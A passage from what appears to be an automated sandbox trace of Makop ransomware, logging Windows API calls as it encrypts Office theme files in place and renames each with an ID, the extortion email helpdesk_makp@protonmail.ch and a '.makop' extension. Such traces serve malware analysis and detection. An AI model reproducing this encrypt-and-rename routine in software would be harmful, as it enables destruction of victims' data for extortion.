param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned 62 [0157.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.259] GetProcessHeap () returned 0x48a0000 [0157.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.260] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.260] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.260] GetProcessHeap () returned 0x48a0000 [0157.260] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.260] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0157.260] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.260] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0157.265] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.265] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.265] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.265] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.266] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.266] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.266] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd2e0, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd2e0, lpOverlapped=0x0) returned 1 [0157.268] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd2e0, dwBufLen=0xd2e0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd2e0) returned 1 [0157.269] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.269] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd2e0, lpOverlapped=0x0) returned 1 [0157.269] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.269] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.269] SetEndOfFile (hFile=0x124) returned 1 [0157.278] GetProcessHeap () returned 0x48a0000 [0157.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.278] GetProcessHeap () returned 0x48a0000 [0157.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.278] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0157.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.280] CloseHandle (hObject=0x124) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0157.280] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned 67 [0157.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.295] GetProcessHeap () returned 0x48a0000 [0157.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.295] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.295] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.296] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0157.300] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.300] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.300] GetProcessHeap () returned 0x48a0000 [0157.300] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.300] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.300] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.301] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.301] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.301] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.301] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.301] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.301] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.301] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.302] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.302] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.302] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60041, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x60041, lpOverlapped=0x0) returned 1 [0157.313] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x60050, dwBufLen=0x60050 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x60050) returned 1 [0157.316] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.317] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60050, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x60050, lpOverlapped=0x0) returned 1 [0157.320] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.320] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x60124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.320] SetEndOfFile (hFile=0x124) returned 1 [0157.329] GetProcessHeap () returned 0x48a0000 [0157.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.329] GetProcessHeap () returned 0x48a0000 [0157.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.329] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.331] CloseHandle (hObject=0x124) returned 1 [0157.331] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0157.331] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned 65 [0157.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.334] GetProcessHeap () returned 0x48a0000 [0157.334] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.334] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.334] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.335] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0157.339] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.339] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.339] GetProcessHeap () returned 0x48a0000 [0157.339] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.339] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.340] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.340] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.340] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.340] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.340] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.341] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.341] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.341] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.341] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3becb, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x3becb, lpOverlapped=0x0) returned 1 [0157.346] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x3bed0, dwBufLen=0x3bed0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x3bed0) returned 1 [0157.348] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.348] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3bed0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x3bed0, lpOverlapped=0x0) returned 1 [0157.350] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.350] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3bfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.350] SetEndOfFile (hFile=0x124) returned 1 [0157.361] GetProcessHeap () returned 0x48a0000 [0157.361] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.361] GetProcessHeap () returned 0x48a0000 [0157.361] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.361] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.363] CloseHandle (hObject=0x124) returned 1 [0157.363] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0157.363] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned 64 [0157.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.366] GetProcessHeap () returned 0x48a0000 [0157.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.366] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.366] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.367] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x9, lpOverlapped=0x0) returned 1 [0157.371] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.371] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.371] GetProcessHeap () returned 0x48a0000 [0157.371] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.371] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.372] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.372] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.372] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.372] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.372] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.372] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.372] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.373] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.373] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.373] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.373] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x146a7, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x146a7, lpOverlapped=0x0) returned 1 [0157.375] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x146b0, dwBufLen=0x146b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x146b0) returned 1 [0157.376] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.376] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x146b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x146b0, lpOverlapped=0x0) returned 1 [0157.377] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.377] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.377] SetEndOfFile (hFile=0x124) returned 1 [0157.386] GetProcessHeap () returned 0x48a0000 [0157.386] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.386] GetProcessHeap () returned 0x48a0000 [0157.386] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.386] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0157.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.388] CloseHandle (hObject=0x124) returned 1 [0157.388] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0157.388] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned 63 [0157.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0000000, 